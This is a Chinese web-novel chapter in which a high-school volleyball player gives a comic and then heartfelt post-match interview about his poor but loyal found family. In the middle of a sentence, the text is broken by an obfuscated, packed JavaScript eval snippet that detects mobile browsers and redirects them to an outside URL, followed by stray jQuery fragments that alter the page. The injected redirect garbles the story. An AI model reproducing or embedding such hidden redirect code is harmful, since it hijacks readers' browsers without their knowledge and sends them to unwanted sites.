体育馆的灯光依旧刺眼，汗水和红土的味道在空气中缓缓沉淀。


    市立三中以2:0击败港南商业，观众席上的欢呼还未完全散去，金太郎叼着建人的发带在场边乱窜，像是这场胜利的另类吉祥物。


    解说员的扩音器里传出沙哑的声音：“市立第三高校强势晋级县大赛下一轮！让我们请出本场比赛的MVP——荒巻建人，接受采访！”


    建人被早川茜推到场边的麦克风前，汗湿的队服贴在身上，发带耷拉在鼻梁上，像个刚从居酒屋端盘子回来的服务生。


    他挠了挠头，试图用鼻息吹开发带，失败后干脆扯下来塞进兜里。


    记者是个戴着厚框眼镜的年轻女孩，手持话筒，语气激动得像刚喝了三瓶运动饮料：“荒巻选手！恭喜你带领市立三中拿下关键胜利！刚才那记终结扣杀简直像导弹精准制导，能否分享一下你的心路历程？”


    建人愣了一下，死鱼眼扫过记者，脑子里闪过前世在便利店门口攥着鲔鱼饭团的画面，又想到美咲姐昨晚缝球鞋时泛红的眼角。


    他清了清嗓子，懒洋洋地说：“心路历程？大概就是……盯着中村的屁股，猜他下一球往哪扣。”


    话音刚落，观众席爆出一阵哄笑，金太郎兴奋地吠了三声，差点撞翻记者的录音设备。


    记者愣了半秒，强行挽回场面：“哈哈，荒巻选手真幽默！你是说通过观察对手的动作习惯，成功预判了他们的进攻节奏？”


    她推了推眼镜，试图把话题拉回正轨，“能具体谈谈你的拦网策略吗？尤其是那几次精准读秒的拦网，简直像开了外挂！”


    建人抓了抓后脑勺，瞥了眼场边的早川茜。


    茜抱着战术板，双马尾晃得像在警告他别乱说话。


    建人咧嘴一笑：“策略？多亏茜姐的战术板，上面画满了中村的‘屁股轨迹图’。还有我弟健太，他说我的拦网很强，给了我点信心。”


    他顿了顿，低声嘀咕，“其实就是靠直觉，外挂时灵时不灵，雨天好使点。”


    观众席上，健太坐在角落，手里攥着颗棒球，听到“很强”两个字，嘴角上扬0.3秒。


    美咲站在后排，围裙上还沾着章鱼烧酱汁，手里的应援牌已经举得发酸。


    她朝场内喊：“臭小子！少贫嘴，赶紧说正经的！”铁平叔醉醺醺地附和：“对！提一提夜叉罗二代目的丰功伟绩！”


    常客“胡子大叔”拍桌子：“建人，告诉他们你是怎么从厕所爬到赛场的！”


    记者被这阵仗搞得有点懵，赶紧转向下一个问题：“荒巻选手，你的拦网被解说员称为‘铁壁’，有粉丝甚至给你取了个外号‘狗爪终结者’，你怎么看？”


    她指了指观众席，那里几个市三中的学生举着临时写的横幅，上面歪歪扭扭写着“金太郎之爪，砸烂港南！”


    建人一愣，差点被自己的口水呛到。他瞥了眼金太郎，那只杂种犬正叼着发带在场边打滚，尾巴扫出一片尘土。


    他干咳一声：“狗爪终结者？还行吧，起码比‘厕所男孩’好听。金太郎是我们家的吉祥物，它盖章的对手，基本没跑。”


    观众席再次炸开笑声，美咲翻了个白眼，朝铁平叔低声骂：“这破外号肯定是你教的！”


    铁平举杯嘿嘿一笑：“老子当年可是夜叉罗，这外号有我一半功劳！”记者强忍笑意，


    继续问：“听说你来自一个很有故事的家庭，能否分享一下你的成长经历？是什么让你在比赛中这么拼？”


    她的话筒往前递了递，眼神里满是好奇。


    建人沉默了两秒，掌心的老茧仿佛在提醒他那些裂缝里的故事。他低头看了眼脚上的破球鞋，鞋底的软垫是美咲用旧围裙缝的，带着一股章鱼烧的焦香。


    他慢悠悠地说：“我家……就是个大垃圾桶，装满了没人要的东西。我姐美咲，居酒屋女王，菜刀比战术板还狠；我弟健太，甲子园的机器人，天赋高得像作弊；还有铁平叔，暴走族出身，现在开出租车，醉了也能给你讲一堆人生哲学。”


    他顿了顿，声音低下去，“我小时候被捡回来，没见过爸妈，但他们让我觉得，垃圾桶里也能活出点光。”


    场内安静了一瞬，记者的眼镜后闪过一丝湿润。观众席上，美咲的手一抖，应援牌差点掉地上，她赶紧低头假装整理围裙，眼角却红得像刚剁完洋葱。


    健太攥着棒球的手紧了紧，低声自语：“哥，拦网真的很强。”铁平叔醉醺醺地举杯：“臭小子，说得比老子当年还煽情！今晚居酒屋加菜！”胡子大叔拍桌子：“美咲，酒钱明天还，这局我押建人赢，赚翻了！”


    记者深吸一口气，换了个轻松的问题：“那你今天的表现，有没有什么特别想感谢的人？”


    她朝场边瞥了眼，试图捕捉市三中队员的反应。


    建人抓了抓头发，咧嘴一笑：“谢茜姐，她的战术板比美咲姐的锅铲还吓人；谢田中，他滑铲救球跟地板谈恋爱似的；谢西园寺，他的防晒喷雾让我看清了中村的屁股；还有润哥，假发掉得再离谱，也给对手添了点心理阴影。”


    他顿了顿，目光扫向观众席，“最谢美咲姐，她做的章鱼烧虽然是地狱级难度，但每次吃完，我都觉得自己能再拦十个球。”


    早川茜在场边冷哼一声，战术板敲得“啪啪”响：“少拍马屁！下一轮不练接发球，我把你发带绑在金太郎尾巴上！”


    田中哈哈大笑：“建人，你这马屁拍得比我滑铲还顺！”西园寺推了推眼镜，低声吐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686982|170792||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    槽：“他的马屁命中率比拦网还高。”铃木润抖了抖假发，优雅一笑：“建人，我的假发可是为你牺牲了0.2厘米，记得请我吃Pocky。”


    观众席上，美咲的锅铲从围裙里滑出来，差点砸到铁平的脚。


    她瞪着建人，嘴上骂：“臭小子，敢说我料理地狱级？回去洗盘子一个月！”但她嘴角上扬，藏不住的骄傲像居酒屋的煤气灯，温暖又刺眼。


    健太低头擦着棒球，眼神却柔和得像融化的夕阳。记者最后一个问题：“荒巻选手，县大赛八强就在眼前，你有什么目标或期待？”


    她的话筒递得更近，期待一个热血的回答。建人盯着话筒，脑子里闪过荒巻家的裂缝——美咲的还款日标记、健太的棒球凹痕，还有他昨天不小心砸出的新坑。


    他慢悠悠地说：“目标？进八强，拿奖学金，给我姐换个新围裙，给我弟买双新护肘，再给铁平叔弄点戒酒药。”


    他顿了顿，咧嘴一笑，“还有，证明厕所男孩也能打出点名堂。”观众席爆发出热烈的掌声和笑声，金太郎叼着发带冲到建人脚边，尾巴扫得像螺旋桨。


    美咲举起应援牌，嗓子喊哑了：“荒巻家不许输！建人，给我打到全国大赛！”铁平叔醉醺醺地附和：“夜叉罗二代目，干翻全国！”


    胡子大叔举杯：“建人，下一轮我还押你赢，酒钱翻三倍还美咲！”健太默默走过来，递给建人一瓶水，低声说：“哥，下一轮也拦网。”建人接过水，拍了拍弟弟的肩膀：“放心，面瘫王牌，你的142km/h我先学着，拦网我教你。”


    健太的嘴角上扬0.5秒，堪称历史性突破。


    早川茜站在场边，战术板上多了一行字：“金太郎之爪作战：下一轮，砸烂所有人！”她冷冷一笑，朝建人喊：“臭小子，回去练接发球！县大赛八强不是靠外挂能混的！”


    建人点点头，抓起发带系紧，脚上的破球鞋在灯光下闪着倔强的光。


    采访结束，记者收拾设备，忍不住低声对同事说：“这小子……真像从垃圾桶里爬出来的王牌。”


    建人没听见，他背着背包走向观众席，美咲一把揪住他耳朵：“臭小子，敢说我料理地狱级？今晚居酒屋加班！”


    但她的手却塞给他一个饭团，里面混着熟悉的玉米粒和海苔屑——美咲的“预算平衡术”。


    夜幕降临，町屋的招牌灯亮起，烤秋刀鱼的香气混着啤酒泡沫，常客们的醉话盖过了收音机的演歌。


    建人端着盘烤串，脑子里全是比赛的画面和美咲的围裙。


    他突然觉得，这个家穷得叮当响，却倔强得像一场永不认输的加班。而他，要在这片满是油烟和电线杆的下町里，靠着汗水和意志，拦住命运的每一记扣杀。